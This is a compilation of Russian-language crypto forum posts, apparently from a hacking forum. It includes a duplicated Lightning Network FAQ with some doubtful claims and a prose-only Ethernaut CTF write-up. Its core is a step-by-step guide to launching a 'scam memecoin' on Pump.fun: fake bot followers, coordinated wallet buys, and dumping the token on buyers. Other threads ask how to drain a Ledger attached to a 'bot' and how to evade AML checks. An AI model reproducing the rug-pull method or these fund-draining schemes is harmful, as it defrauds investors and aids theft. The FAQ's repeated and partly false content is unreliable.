В таком случае, когда Петя хочет выслать Наташе 1 биткоин, используя LN.
Петя отправляет свои деньги в "2 из 2" мультиподписной адрес.
Петя и Наташа оба подписывают сообщение о передаче прав владения биткоином от Пети Наташе.
Это сообщение является действительной биткоин-транзакцией, но нетраслируется в основную сеть. Вместо этого, Петя и Наташа хранят эту транзакцию (мы помним, подписанное вообщение) локально на своих машинах.
С точки зрения Наташи, это "дважды подписанное сообщение" является 1 биткоином, который может быть потрачен в любое время, просто оттранслировав это сообщение в основную сеть.
Из всего вышесказанного делаем глобальный вывод - Битокин транзакция = подписанное сообщение = транзакция LN
Суть любой транзакции - передача прав собственности.
В сети битокин мы меняем это право собственности, транслируя подписанные сообщения.
LN-транзакция это всего лишь дважды подписанное сообщение, которое так же является легитимной биткоин-транзакцией.

Cтандартная битокин-транзакция зависит от подтверждений в блокчейне... В таком случае, справедливо ли утверждать, что Lightning транзакция - то же самое, что и обычная биткоин-транзакция?
Хорошее замечания, они и вправду не являются одним и тем же.
Lightning транзакцию можно назвать транзакцией "с 0 подтверждений". Но,как только она транслируется в основной биткоин-блокчейн, она будет настолько же валидна, как и любая блокчейн-транзакция "с 0 подтверждений".
Оба типа транзакций будут обработаны майнерами биткоина, если они оплатят соответствующую мзду (комиссию).

Я слышал, что Lightning Network потребует от своих пользователей постоянного мониторинга блокчейна... это так?
Да, это так.
Пользователям будет необходимо запустить программное обеспечение, которое будет активно мониторить блокчейн на нарушения контракта (передача устаревшей транзакции)
В любом случае, этот мониторинг можно будет отдать на аутсорс третьей стороне.
Аутсорсинг не повлияет на вашу приватность, но вы должны доверять тому сервису, которому вы поручите эту работу.

Хорошая сторона в этом заключается в том, что, мы надеемся, это сподвигнет большее количество людей запускать "фулл ноды", которые позволят им заработать немного деньжат (*тут надо вставить ссылку на вопрос №7 из моего предыдущего перевода). Так же такую ноду можно будет запустить для мониторинга блокчейна (о чем говорилось в предыдущем абзаце). Теоретически, на этом так же можно немного заработать.

Могу ли я отправить средства из Lightning Network на обычный битокин- адрес?
В настоящее время - нет.
Для первой версии протокола, если вы хотите отправить "обычную" битокин- транзакцию используя ваш канал, вам будет необходимо закрыть канал, отправить деньги и затем заново открыть канал (т.е. 3 транзакции). В будущих версиях такая возможность будет рассмотрена.

Кто владеет и контролирует Lightning Network?
По аналогии с Биткоином, никто и никогда не сможет получить полный контроль над всей сетью.

Кто является изобретателем Lightning Network?
Joseph Poon и Thaddeus Dryja придумали и написали **The Bitcoin Lightning Network Whitepaper

Где можно почитать более подробную информацию о последних событиях в сфере внедрения Lightning Network?**
На их **сайте

Есть ли у Lightning Network свои "Lightning coins"?**
Нет, это не тот случай. LN будет использовать реальные BTC транзакции с, собственно, биткоинами и другими криптовалютами.

При использовании технологии Lightning Network необходимо ли будет мне доверять свои деньги третьему лицу?
Нет, система не построена на доверии третьим лицам, у вас остается полный контроль над вашими средствами. Если что то пошло не так, вы можете просто записать последнее состояние платежного канала, как обычную биткоин- транзакцию. Все ваши деньги будут возвращены на ваш адрес и это будет записано в блокчейн.

Я слышал,что в Lightning Network будет комиссия за транзакции... Это так? Кто будет собирать эту комиссию?
Да. Потенциально это может быть любой использующий ноду. Пример - Вася хочет перевести деньги Пете, но между Васей и Петей нет открытого канала. Но у Васи есть открытый канал с Наташей, а у Наташи есть канал с Петей. Вместо открытия прямого канала Вася-Петя, транзакция может быть осуществлена через Наташу по пути Вася-Наташа-Петя. В таком случае у Наташи появляется возможность запросить небольшую комиссию.

В предыдущем сценарии, что мешает Наташе кинуть всех на деньги?
Кратко - Наташа сначала отправляет транзакцию Пете, и лишь потом получает ее от Васи.
Некратко:
1. Петя начинает процесс транзакции, генерируя случайное число R,которое он будет некоторое время никому не разглашать
2. Петя хэширует R, получает хэш H
3. Петя передает H Васе, отправителю транзакции
4. Вася создает транзакцию денег по маршруту Вася-Наташа. Но эта транзакция становится дейтвительной только после включения в нее R. То есть транзакция временно является недействительной из за отсутствия R. Вася так же передает Наташе H(R), и Наташа знает, что H это хэш недостающего элемента R.
5. Наташа,в свою очередь, тоже создает транзакцию по маршруту Наташа-Петя. Но эта транзакция также действительна только в случае включения в нее R. То есть транзакция временно является недействительной пока у Наташи не будет доступа к сгенерированному числу R
6. Петя не дурак, и хочет получить свои деньги. Он предоставляет R Наташе, тем самым делая транзакцию Наташа-Петя действительной.
7. Т.к. Наташа тоже не дурак и хочет получить деньги от Васи, она может включить R в транзакцию Вася - Наташа, тем самым сделав ее действительной. Наташа понимает, что получила правильное число R, т.к. предварительно проверила, что хэш H(R)который она получила в шаге №4, действительно является хэшем числа R.
8. В то же время, Наташа передает R Васе. Вася теперь может использовать R как подтверждение перевода средств Пете.

Будет ли использоваться какая-либо форма майнинга для обеспечения безопасности Lightning Network?
Нет, безопасность обеспечивается майнерами биткоина в биткоин сети.

Есть ли у Lightning Network своя публичная база данных транзакций?
Нет

Зачем нужна Lightning Network?
Слабым место технологии блокчейн является плохая масштабируемость и низкая скорость работы, что уже вылилось в высокие комиссии сделавшие невыгодными микропереводы. Технология LN позволяет решить эти проблемы и снизить издержки путем создания быстрых платежных каналов "над блокчейном" с записью в блокчейн результатов своей работы по мере необходимости, а в перспективе позволит безопасно напрямую обмениваться монетами из разных блокчейнов.

Что такое платежный канал?
Адрес с мутиподписью "2 из 2" на который стороны его открывающие вносят свои депозиты для дальнейших расчетов.

Что происходит с биткоинами отправленными в платежный канал?
Они блокируются в основном блокчейне.

Сколько времени существует платежный канал?
Это решают его создатели, они могут держать его открытым столько времени сколько потребуется.

Мне нужно открыть платежный канал с каждым кому я хочу переслать биткоины?
Необязательно, если между вами и получателем можно постоить цепочку из уже существующих платежных каналов, то вы можете воспользоваться ей для осуществления платежа.

Что такое commitment transaction?
Это транзакции в Lightning Network описывающие перевод средств между пользователями. Могут быть отправлены в основной блокчейн как закрывающая платежный канал транзакция.

Кто может закрыть платежный канал?
Любая из сторон его открывших, как по обоюдному согласию, так и в одностороннем порядке.

Когда результаты операций в Lightning Network записываются в блокчейн?
Когда канал закрывается итоговый баланс всех расчетов записывается в блокчейн.

Что будет если одна из сторон канала исчезнет?
Оставшийся участник канала может закрыть его и вывести в блокчейн принадлежащие ему средства с помощью последней commitment transaction.

Что такое refund transaction?
Транзакция совершаемая при открытии канала и страхующая внесенный депозит от невозможности их забрать обратно, если другая сторона исчезнет, путем установки таймера жизни канала.

Что такое Hash time lock contracts (HTLC)?
Смарт-контракт с определенным сроком жизни указанным при его создании. Используется для исключения возможности мошенничества одной из сторон.

Почему API для lightning?
Мы считаем, что некоторые компании могут быть заинтересованы в компромиссе, где они получают большую часть преимуществ Lightning, сохраняя при этом свои интеграционные затраты как можно ниже. Вот что такое Strike: добавьте платежи Lightning в ваш бизнес в кратчайшие сроки и с минимальным влиянием на ваши операции.

Как это работает?
Мы получаем молниеносные платежи от вашего имени, суммируем их и периодически отправляем транзакцию биткойнов onchain на ваш кошелек.

Другими словами, вы можете предлагать мгновенные и дешевые платежи своим клиентам, и вы платите за старые добрые транзакции Биткойн, к которым вы привыкли.

Подождите ... это не делает вас доверенным сторонником?
Да, это так, но наша услуга требует только минимального доверия, потому что мы отправляем вам транзакцию Биткойн onchain всякий раз, когда суммарная сумма достигает настраиваемого порога.

Например, если вы установили порог выхода в 0.2 BTC, то вы никогда не доверяете нам более чем на 0,2 BTC.

Сколько вы будете взимать плату за эту услугу?

Мы все еще разрабатываем детали, но основная идея:

фиксированная плата за транзакцию Lightning;
автоматическое снятие средств (с минимальной суммарной суммой): бесплатно, мы платим комиссию за биткойн;
ручное снятие (любая сумма): вы платите комиссию за пользование сетью

Что произойдет, если человек, которому я хочу отправить деньги, находится в оффлайне?
Если вы отправите средства человеку, который сейчас не в сети, то ваши деньги будут отправлены Вам обратно.

Транзакции Lightning Network более анонимны?
Транзакции в Lightning гораздо более анонимны, чем в блокчейне биткоина, так как участники цепочек, по которым идет платеж, не могут видеть отправителя или получателя.

Как много я много я могу отправить средств за одну транзакцию?
По идее - сколько угодно, но на данный момент у Lightning Network много неполадок, в частности малая общая вместимость сети. Даже при отправке 40$ сеть не выдержит,а общая дневная нагрузка составляет около 50 000$

Будет ли какая-либо форма добычи для защиты сети Lightning?
Нет, безопасность обеспечивается биткоин-майнерами в сети биткоин.

Какие криптовалюты могут использовать Lightning Network?
Zcash, Ripple, Litecoin, Ethereum и многие другие.

Сколько транзакций в настоящее время обрабатывается в Lightning?
Этого мы никогда не узнаем. Это и не нужно, поскольку это убивает конфиденциальность. Вы лишь можете видеть исходные транзакции, с которыми был создан канал.

Какое будущее ожидает Lightning Network?
Данная "надстройка" над биткоином будет развиваться только вместе с ним. Новые решения, которые используются в Lightning Network способствуют популяризации криптовалют и началу развития микротранзакций в этой сфере.

Что произойдет, если человек, которому я хочу отправить деньги, находится в оффлайне?
Если вы отправите средства человеку, который сейчас не в сети, то ваши деньги будут отправлены Вам обратно.

Использование Lightning Network подразумевает, то что моя транзакция не будет в блокчейне?
Не совсем так. В блокчейне будет транзакция о открытии и закрытии канала. По ним видно изменения баланса пользователей, но не видно всей истории транзакций внутри канала.

У Lightning Network открытый исходный код?
Да, у Lightning Network открытый исходный код. Каждый может его посмотреть.

Транзакции Lightning Network более анонимны?
Транзакции в Lightning гораздо более анонимны, чем в блокчейне биткоина, так как участники цепочек, по которым идет платеж, не могут видеть отправителя или получателя.

Как много я много я могу отправить средств за одну транзакцию?
По идее - сколько угодно, но на данный момент у Lightning Network много неполадок, в частности малая общая вместимость сети. Даже при отправке 40$ сеть не выдержит,а общая дневная нагрузка составляет около 50 000$

Будет ли какая-либо форма добычи для защиты сети Lightning?
Нет, безопасность обеспечивается биткоин-майнерами в сети биткоин.

Кто изобрёл Lightning Network?
Таддеус Дрийя и Джозеф Пун.

Какие криптовалюты могут использовать Lightning Network?
Zcash, Ripple, Litecoin, Ethereum и многие другие.

Сколько транзакций в настоящее время обрабатывается в Lightning?
Этого мы никогда не узнаем. Это и не нужно, поскольку это убивает конфиденциальность. Вы лишь можете видеть исходные транзакции, с которыми был создан канал.

Какое будущее ожидает Lightning Network?
Данная "надстройка" над биткоином будет развиваться только вместе с ним. Новые решения, которые используются в Lightning Network способствуют популяризации криптовалют и началу развития микротранзакций в этой сфере.

Зачем нужна Lightning Network?
Слабым место технологии блокчейн является плохая масштабируемость и низкая скорость работы, что уже вылилось в высокие комиссии сделавшие невыгодными микропереводы. Технология LN позволяет решить эти проблемы и снизить издержки путем создания быстрых платежных каналов "над блокчейном" с записью в блокчейн результатов своей работы по мере необходимости, а в перспективе позволит безопасно напрямую обмениваться монетами из разных блокчейнов.

Что такое платежный канал?
Адрес с мутиподписью "2 из 2" на который стороны его открывающие вносят свои депозиты для дальнейших расчетов.

Что происходит с биткоинами отправленными в платежный канал?
Они блокируются в основном блокчейне.

Сколько времени существует платежный канал?
Это решают его создатели, они могут держать его открытым столько времени сколько потребуется.

Мне нужно открыть платежный канал с каждым кому я хочу переслать биткоины?
Необязательно, если между вами и получателем можно постоить цепочку из уже существующих платежных каналов, то вы можете воспользоваться ей для осуществления платежа.

Что такое commitment transaction?
Это транзакции в Lightning Network описывающие перевод средств между пользователями. Могут быть отправлены в основной блокчейн как закрывающая платежный канал транзакция.

Кто может закрыть платежный канал?
Любая из сторон его открывших, как по обоюдному согласию, так и в одностороннем порядке.

Когда результаты операций в Lightning Network записываются в блокчейн?
Когда канал закрывается итоговый баланс всех расчетов записывается в блокчейн.

Что будет если одна из сторон канала исчезнет?
Оставшийся участник канала может закрыть его и вывести в блокчейн принадлежащие ему средства с помощью последней commitment transaction.

Что такое refund transaction?
Транзакция совершаемая при открытии канала и страхующая внесенный депозит от невозможности их забрать обратно, если другая сторона исчезнет, путем установки таймера жизни канала.

Что такое Hash time lock contracts (HTLC)?
Смарт-контракт с определенным сроком жизни указанным при его создании. Используется для исключения возможности мошенничества одной из сторон.

взято с (с) bitcointalk

CTF разбор по смарт контрактам. (2)
ID: 67686ad7b4103b69df3799f3
Thread ID: 55351
Created: 2021-08-15T21:28:07+0000
Last Post: 2021-08-21T15:18:06+0000
Author: frog2
Prefix: Статья
Replies: 3 Views: 2K

Всем привет. Продолжаю серию статей по разбору CTF заданий, которые связаны со смарт-контрактами. Надеюсь кого нибудь заинтересует данная тематика, статья написано больше для новичков, но предполагаю, что вы должны быть знакомы с solidity и теории кодирования на базовом уровне. Решать задачи я буду на такой платформе как ethernaut. Интересно, что сам CTF построен на отдельных контрактах.
1 статья: /threads/55340/#post-358160

Дан контракт с именем Fallback. В контракте 5 функций. Задача стать владельцем контракта и опустошить баланс.
1.png

Получим экземпляр контракта. Сверим адреса контракта и посмотрим адрес владельца.
2.png

constructor() функция, которая развертывает код в блокчейне с аргументами/параметрами, она вызывается только один раз. Тот кто развертывает контракт становится его владельцем.
3.png

modifier() это модификатор функции, обычно проверяет условие перед выполнением функции. В примере указано, что вызывать функцию может только владелец контракта.
4.png

contribute() функция, которая хранит значение вызывающего эту функцию.
Если значение больше владельца контракта, то вызывающий функцию становится владельцем контракта. Обратите внимание, что require создает требование отправителю эфира и логику contributions в которую заносится значение.
5.png

getContribution() функция получения значения нашего вклада через неё мы можем узнать количество нашего вклада.
6.png

withdraw() позволяет выводить баланс только владельцу контракта.
7.png

receive() функция, которая выполняется при отправки эфира, с требованием, у нас должно быть значение(вклад) в contributions.
8.png

Транзакции в Ethereum это по своей сути сообщения с полезной нагрузкой, которые носят в себе различные данные. Чтобы менять состояние контракта нам нужно отправлять транзакции. У функции есть своя сигнатура - первые 4 байта, которые являются его идентификатором. В EVM проверяет идентификатор диспетчер, если ничего не подходит вызывается специальная функция, если она существует.
9.png

Вызовем contribute со специальным аргументом, объектом, с начальным значением, которая вложиться в нашу транзакцию, далее отправим транзакцию в контракт с нашим объектом, проверим стали ли мы владельцем контракта и тогда получим право вывести эфир и посмотрим баланс контракта.
10.png

Таким образом мы прошли 1 уровень.
11.png

Посоветуйте анонимный криптокошелек
ID: 67686ad7b4103b69df379902
Thread ID: 70788
Created: 2022-07-28T15:48:52+0000
Last Post: 2022-09-22T09:38:26+0000
Author: avas
Replies: 31 Views: 2K

Посоветуйте анонимный биткойн кошелёк.

Выбор крипто кошелька
ID: 67686ad7b4103b69df3798c6
Thread ID: 76899
Created: 2022-11-28T10:48:06+0000
Last Post: 2023-01-07T01:52:23+0000
Author: tomascoop
Replies: 15 Views: 2K

Quake3 said:

Обменяйте киви на биткоин

Click to expand...

admin said:

советую даже для мелких платежей начать использовать крипту.

Click to expand...

Понял, спасибо за разъяснения. Так как пока далек от темы крипты могли бы посоветовать какими кошельками рекомендуете пользоваться?
Видов крипто валют, много, кошельков еще больше. Мнения везде разные.
Поэтому ваши оба мнения для меня более заслуживающие доверия. Был бы признателен за рекомендации и советы. Спасибо)

Как создать свой скам мемекоин без опыта и срубить кучу бабок
ID: 67686ad7b4103b69df379660
Thread ID: 128748
Created: 2024-12-11T15:45:48+0000
Last Post: 2024-12-19T12:33:19+0000
Author: hackeryaroslav
Prefix: Статья
Replies: 25 Views: 2K

Авторство: hackeryaroslav

Источник:xss.is

Интро​

Торговля криптовалютой — это всегда риск, а с мемкоинами она превращается в настоящее казино. Почему? Подводных камней здесь масса: от рагпулов и мгновенных фиксаций прибыли "умными деньгами" до множества других нюансов. Сегодня я не только расскажу, как создаются такие токены, но и покажу, как запустить свой собственный мемкоин, что делать, если он «выстрелит», и как управлять всем процессом шаг за шагом. Даже если вы полный новичок в крипте, к концу статьи вы поймете, как это работает.

Почему это так прибыльно?​

Мемкоины — это не просто тренд, а катализатор для нового поколения инвесторов. В условиях текущего буллрана множество людей без опыта рвутся на рынок, пытаясь успеть на волне хайпа. Особенно это заметно среди молодежи из TikTok, которая вдохновляется историями о мгновенных успехах, как, например, с токеном ChillGuy. Подобные истории приводят к пампу всего, что оказывается в тренде.

![](/proxy.php?image=https%3A%2F%2Flh7-rt.googleusercontent.com%2Fdocsz%2FAD_4nXeIomD6HxWK52E4B8GCREv5dRFQpIGC71R6Pm5Pr7C7Ozhj3y9SrqoQmMucl_xNIS3I8ZjsrKY_268UtJj1G0SRBRcBnIGH1yCV- WkKMsJn9wGzvZepccw- FU80N0DP3G-GGdit4Q%3Fkey%3D-KWLe9U-E-1AgrflWnKhN2rL&hash=9544db9bdab8b4b3176d27a90f9ef258)​

Недавний пример скама связан с девушкой по имени Hawk Tuah.

![](/proxy.php?image=https%3A%2F%2Flh7-rt.googleusercontent.com%2Fdocsz%2FAD_4nXdemuuxE_esh8JsF6iuGbLkdb5AVG9dAqwGqEu7vzvoVmaUAnvw- uOqxk5Hrio1h7O1SlfD7YW_2dERfqcrXsH4Zuy04vve6gOalWJUoJko92LtELblmsRVgbhVM2SjW2km7HJ6%3Fkey%3D-KWLe9U-E-1AgrflWnKhN2rL&hash=1d2e73adf80643e73d72e87ff2c71335)​

Что произошло?​

Она объявила о запуске своего токена в соцсетях, но подвох был в том, что инсайдеры заранее скупили почти 90% эмиссии токена.

![](/proxy.php?image=https%3A%2F%2Flh7-rt.googleusercontent.com%2Fdocsz%2FAD_4nXc9munWYydhH5I_Eh4I0LVWJKO7bUXZMgaObfeZRUhzusEfUv7pNRAcW- VB0kT_OynxS2Z53LkMkQKE2fB- Jc85Fjdbz7cMYlgWJMNLxks1bsIdOF_aDSKkZEXFQ_WJ2i9pS0I6qw%3Fkey%3D-KWLe9U-E-1AgrflWnKhN2rL&hash=a70332c6aa2e664c1ec311260b75e4f8)​

В результате, по подсчетам, Hawk Tuah заработала около 4 миллионов долларов.

Конечно, её популярность сыграла свою роль, и токен смог «выстрелить», но даже без известности можно создавать токены, цепляясь за тренды, и зарабатывать на этом. Давайте разберемся, как это сделать.

Итак, почему мемкоины обрушиваются?​

Создаем свой первый скам токен​

Самая популярная платформа для запуска мемкоинов — Pump.fun. Известные проекты последних месяцев, такие как GOAT и PNUT, стартовали именно там, достигнув капитализации в миллиарды долларов. Однако наш фокус не на масштабах, а на быстром запуске.

![](/proxy.php?image=https%3A%2F%2Flh7-rt.googleusercontent.com%2Fdocsz%2FAD_4nXcb8TxM- atdUKcB6-AFxaGSxCnVaKIiAtihDfd1T9R2SPV2YtiIa2XlL2t16Lu3iarKBu5sKlohJGx_MU6-mwwno0H1iAJOZTh9NpKKHXc4sepM_nM2KoAFPDx-5wM1PWZZrwtrMw%3Fkey%3D-KWLe9U-E-1AgrflWnKhN2rL&hash=d3d67694f41af998de0d1c9865e8be5a)​

Пример схемы и почему такие токены падают:

![](/proxy.php?image=https%3A%2F%2Flh7-rt.googleusercontent.com%2Fdocsz%2FAD_4nXd- hG977_dvKwdWxHnIGCRBV18hWdFHzltsZrTugN24V5nkQOlkRC5YreYmcmybiqXa4ADGl2J6QC0f8qS6_fCkpVgChbjD0lGMER09ImEQcYdgj_9aPiEVzqkcLN9B7PLTMbfL%3Fkey%3D-KWLe9U-E-1AgrflWnKhN2rL&hash=0f7f9a34a077befb82136084dfe16cd1)​

Тут у нас один из ключевых факторов обвала — синхронные продажи с множества кошельков. Дев начинает массово сливать токен, как только на рынок поступает активный спрос. Покупатели остаются с «копейками», а инициаторы получают свою прибыль.

На скрине видно, что множество кошельков с пометкой начали продавать на мелкие суммы одновременно — очевидно дев слил все токены и получил свою прибыль.

Какие есть подходы к созданию мемкоина?

  1. Автоматизированные боты
    Можно написать собственных ботов, которые будут покупать токен с нескольких кошельков и синхронно продавать по нажатию кнопки.

  2. Ручной подход
    Альтернативно, вы можете использовать свой дев-аккаунт: сначала купить токен, а затем распределить его между другими кошельками. Это создает иллюзию активности, но платформы, отслеживающие такие транзакции, помечают это как слив токена. Это, в свою очередь, часто привлекает хомяков, хотя реального интереса здесь нет.

  3. Телеграм-боты
    Есть платные автоматизированные боты для таких операций, но подписки на них стоят дорого. Это вариант для тех, кто всерьез планирует заниматься мемкоинами.

Секрет успеха

Успешный мемкоин — это:

Мы создадим базовый токен, купим его на небольшую сумму с дев-аккаунта, создадим простой сайт и напишем пару постов в телеграм. Я не буду гарантировать успех схемы, опять же, нужно дополнительная работа по соц сетям и множество попыток пампа.

Теперь давайте приступим)

Заходим на сайт Pump.fun, вот что мы видим:

![](/proxy.php?image=https%3A%2F%2Flh7-rt.googleusercontent.com%2Fdocsz%2FAD_4nXdSg96jOdfc5XpIXDds68dyxcPZ6cty7x8h5WnwnMKZZUcE- cIcvOUGoOlU5Fv4HmIcmjaGP3lITjI8BPJqV0otNLaiRJVmcmf6EVd7ed0tpWJhybJKBuX7_3sQLlg4Is1AJe700w%3Fkey%3D-KWLe9U-E-1AgrflWnKhN2rL&hash=f487a819dfc053d8b79719fff6b32d28)​

Подключаем любой удобный крипто кошелек, я сделал Phantom.

Сейчас в тренде идет собака, которое ест яблоко. Основной мемкоин разогнали до почти 50 млн долларов капитализации. А есть другие вариации? Спустя пары минут гугла, я нашел один прикольный)))

![](/proxy.php?image=https%3A%2F%2Flh7-rt.googleusercontent.com%2Fdocsz%2FAD_4nXftL3i5YigTg1sh7asZfIk6PdS7GPqffaspqYNkjNsbKAwrVWej6ajnrcIIgCSQJjAVbi- ORRHi7ppBsLZRL6XhlOSR2VW_3q8VlZY9lfjSfRtgYMd_D881FSrJ4zYAQp0GhrwW%3Fkey%3D-KWLe9U-E-1AgrflWnKhN2rL&hash=53480819f28b2f22a1da60f5c0f2f249)​

Под быструю руку создадим вебсайт, он состоит всего из одного файла - index.html, другого нам не надо. Суть это просто зацепить пользователя и просто показать наличие хоть какого нибудь сайта:


![](/proxy.php?image=https%3A%2F%2Flh7-rt.googleusercontent.com%2Fdocsz%2FAD_4nXeGhwcoM9LUjoW_GHzB7ugu- PaBVOQJVXind_3M8Y_EzE_v- HtvnR4ipXFvA4M5d6odon9wnISMsBekO4TQes1zuW6kRhMO5Fyv4VWzXxkYU7iE7QeChOJjnI4haS42PE7PNVHC6Q%3Fkey%3D-KWLe9U-E-1AgrflWnKhN2rL&hash=d40120eb733b25f5fece3c047e5584e1)​

Красота, для теста подойдет. Также на быструю руку создадим тг канал и посты:

![](/proxy.php?image=https%3A%2F%2Flh7-rt.googleusercontent.com%2Fdocsz%2FAD_4nXdrpx-Y1c4z16uG9103TWict1KoxFco6PSJuucgtY474rzwRFV0Fi4GOcNNkx19HMQ_aqnWCbcrmLSSvWfle0ToP7iVrtCAoAJZx_t1xLQf1F8orksedEKPFV- gD-aCS8rBYha- UA%3Fkey%3D-KWLe9U-E-1AgrflWnKhN2rL&hash=cca95b4c94b3b7b33b3da7d01a14ff32)​

Для большей доверенности, можно подогнать реакции на посты, и пару сотен ботов подписчиков. Еще больше иллюзии вовлеченности.

Загрузил сайт на Vercel, популярный хостинг. В прошлых статьях я объяснял как это сделать, воспользуйтесь поиском.

![](/proxy.php?image=https%3A%2F%2Flh7-rt.googleusercontent.com%2Fdocsz%2FAD_4nXf296fnB0h_cVpla8dkeSzYxGxJo3vssjJDRtiQociq0-P9PPnABwznhaKihI0Vb4nFHbwLZokZorh_s5oq5XdTepCwmFMo4pHZoxGTY0ErAo5Mf9U6VtwWh0kLI_zd- fY8nwAg%3Fkey%3D-KWLe9U-E-1AgrflWnKhN2rL&hash=e9424fd3667ec6ecd8e0115c910f5450)​

Давайте перейдем к созданию токена, предварительно я закинул 5$ на покупку токена, но немного ошибся, тк это не покроет конские комисии самого pump.fun и phantom.

![](/proxy.php?image=https%3A%2F%2Flh7-rt.googleusercontent.com%2Fdocsz%2FAD_4nXfQp6ipqK_N3oaoA28XR1W0uKEpJPFoXc1-XDpvSA4qywvp3cITxdz_aME6P4blYhQajp26iEja0h_75hnxCI6mYncu6cu- lYGIktLOSIIbqLpz2ovhn_yWLA0f9SO96nqAusI6Mw%3Fkey%3D-KWLe9U-E-1AgrflWnKhN2rL&hash=2299a02b653f48730716feb861f0e2b7)​

Не забываем вставить линки на соц сети:

Не делайте как я, этой суммы не хватило на транзакцию, я бы порекомендовал с 0.05 соланы, что чуть больше 10 долларов по курсу:

Хорошо, токен создан, если бы транзакция прошла у нас бы нарисовался неплохой график. Также есть возможность попасть на главную страницу pump.fun, что-то типо рандома, там легко разгоняют токен до 30-60к долларов, дальше обычно дев сливает.

После создания токена вы можете:

Если первый раз не прошло, создавайте таких же еще раз, пока не выстрелит, это нормальная практика, сливайте предыдущий, создавайте новый до момента, пока он не выстрелит.

Но все равно, главное понять как это легко работает. Можно создать качественный мемкоин, запустить его не один раз и он точно выстрелит, таких коинов сотни каждый день.

Я бы назвал это тип фишинга, хотя это намного больше чем фишинг, это целая индустрия.

Заключение​

Мы разобрали, как создаются мемкоины, почему они могут быть прибыльными, и как их правильно запускать. В этом процессе важна скорость: чем быстрее вы адаптируетесь к тренду, тем выше ваши шансы на успех. Используйте полученные знания, экспериментируйте, и кто знает, возможно, ваш мемкоин станет следующим хайпом))

Помните: эта индустрия — больше, чем просто фишинг. Это сложный микс психологии, маркетинга и технологий. Удачи!

shit 2025
ID: 67686ad7b4103b69df379670
Thread ID: 127891
Created: 2024-11-29T16:32:06+0000
Last Post: 2024-12-09T23:26:43+0000
Author: m00r
Replies: 54 Views: 2K

ваши мнения?
слухи новости пресейлы соучастия

хорошенько шоб так макнуться

В поисках кошелька с балансом $10млн+ (USDT TRC20)
ID: 67686ad7b4103b69df379673
Thread ID: 128281
Created: 2024-12-05T10:01:58+0000
Last Post: 2024-12-08T13:43:28+0000
Author: AlanSSS
Replies: 28 Views: 2K

В общем , предложили такую тему, что с такого кошелька нужно получить транзакцию (около 10$), есть кто сможет помочь с этим?

AML checker bot | Бот-чекер на загрязненность крипты
ID: 67686ad7b4103b69df379675
Thread ID: 122336
Created: 2024-09-08T21:30:52+0000
Last Post: 2024-12-06T07:20:13+0000
Author: pavilion13
Replies: 11 Views: 2K

Доброго времени суток! Прошу пожалуйста отписаться мне в ПМ тем, кто разбирается в этой штуке (Боту - чекеру, который выявляет по АМЛ насколько в % загрязнена крипта). Буду признателен.

Как с леджера снять? Прямой доступ
ID: 67686ad7b4103b69df379680
Thread ID: 127524
Created: 2024-11-24T11:55:27+0000
Last Post: 2024-11-29T12:50:26+0000
Author: _lain
Replies: 26 Views: 2K

Имеется бот, подключен ledger, бот на линуксе, стоит ledger-live и со скрина балик там есть, какие есть варианты снять деньги или сидку с подключеным леджером?

Халвинг 2024
ID: 67686ad7b4103b69df379682
Thread ID: 112920
Created: 2024-04-19T21:30:16+0000
Last Post: 2024-11-27T13:21:24+0000
Author: tabac
Replies: 24 Views: 2K

Поздравляю с наступающим халвингом через 19 блоков

![coinmarketcap.com](/proxy.php?image=https%3A%2F%2Fs2.coinmarketcap.com%2Fstatic%2Fimg%2Femp%2FCoinMarketCap- Bitcoin- Halving-2024-.png&hash=0079ded9a38116364d4fb1ccb3d21cd6&return_error=1)

When Is The Next Bitcoin Halving? [Updated] | CoinMarketCap | CoinMarketCap

Use our Bitcoin halving countdown to see the estimated date for 2024. Learn about the Bitcoin halving cycle, the previous dates, and the block reward schedule.

![coinmarketcap.com](/proxy.php?image=https%3A%2F%2Fcoinmarketcap.com%2Fapple- touch-icon.png&hash=8b5b4245266e533da47fb42ff9b2142b&return_error=1) coinmarketcap.com

![](/proxy.php?image=https%3A%2F%2Fwww.proshares.com%2Fglobalassets%2Fproshares%2Finsights%2F0324-bitcoin- halving---history-of-btc-prices.png&hash=6b6ffe2f6cb3560eb3093ffc83a9c962)

Туземун? Все готовы? закупились на всю котлету? )

Переход от наличных к XMR
ID: 67686ad7b4103b69df3796a9
Thread ID: 124843
Created: 2024-10-15T09:04:33+0000
Last Post: 2024-10-27T21:22:42+0000
Author: BlackSun666
Replies: 10 Views: 2K

Здравствуйте, я уже довольно долго борюсь с этой концепцией, меня беспокоит: как безопасно перейти от наличных к XMR? Лично я пришел к выводу, что лучший способ — это НЕ использовать наличные деньги и зарабатывать XMR на продаже услуги, а затем переводить их на другой кошелек, подключенный к локальному узлу.

Я не уверен в своем решении, я ценю любые мнения!

Приемка Crypto. Processing мерч лист
ID: 67686ad7b4103b69df3796ac
Thread ID: 113580
Created: 2024-04-30T11:49:34+0000
Last Post: 2024-10-25T16:57:46+0000
Author: marmalade
Prefix: Мануал/Книга
Replies: 16 Views: 2K

Crypto merch​

shkeeper​

https://shkeeper.io/
BTC, ETH, LTC, DOGE, XMR, XRP, TRX, BNB, USDT (ERC20, TRC20, BEP-20), USDC(ERC20, TRC20, BEP-20) от хостера vsys.host open source

plisio​

https://plisio.net/

coinbase​

https://www.coinbase.com/commerce
Нужно иметь мерчант аккаунт.

Payeer​

https://payeer.com/en/solutions/
https://payeer.com/merchant/
BTC, LTC, ETH, USDT, DASH, XRP, BCH will be converted to USD, EUR or RUB (no risks with rates) and deposited to your Payeer account, instantly use balance for crypto payouts.

nowpayments.io​

https://nowpayments.io/

coinpayments​

https://www.coinpayments.net/

Cryptomus​

https://cryptomus.com
https://www.gofuckbiz.com/showthread.php?t=58335&page=8

Crystalpay​

http://crystalpay.org/
https://t.me/CrystalPAY_bot

Cryptadium​

cryptadium.com

bitapi​

https://bitapi.me/

cryptomus​

cryptomus.com

coingate​

coingate.com

Self hosted​

All Crypto​

BTC​

https://github.com/btcpayserver/btcpayserver

Monero​

https://github.com/RuiSiang/monero-merchant
https://github.com/moneropay/moneropay
https://github.com/monero-integrations/monerowhmcs

P.S. Давайте пополнять список на вопрос абузоустойчивость, комиссий и преимуществ

Безопасен ли cryptobot (@send) при анонимном телеграм аккаунте?
ID: 67686ad7b4103b69df3796b1
Thread ID: 122921
Created: 2024-09-17T20:59:36+0000
Last Post: 2024-10-15T09:09:18+0000
Author: lakira
Replies: 20 Views: 2K

нужно получить около 1-2к зелени, вопрос могут ли забанить кошелек или дать обязательную кус?

North Korean hackers Lazarus Group move 41,000 ETH stolen from Harmony Bridge attack
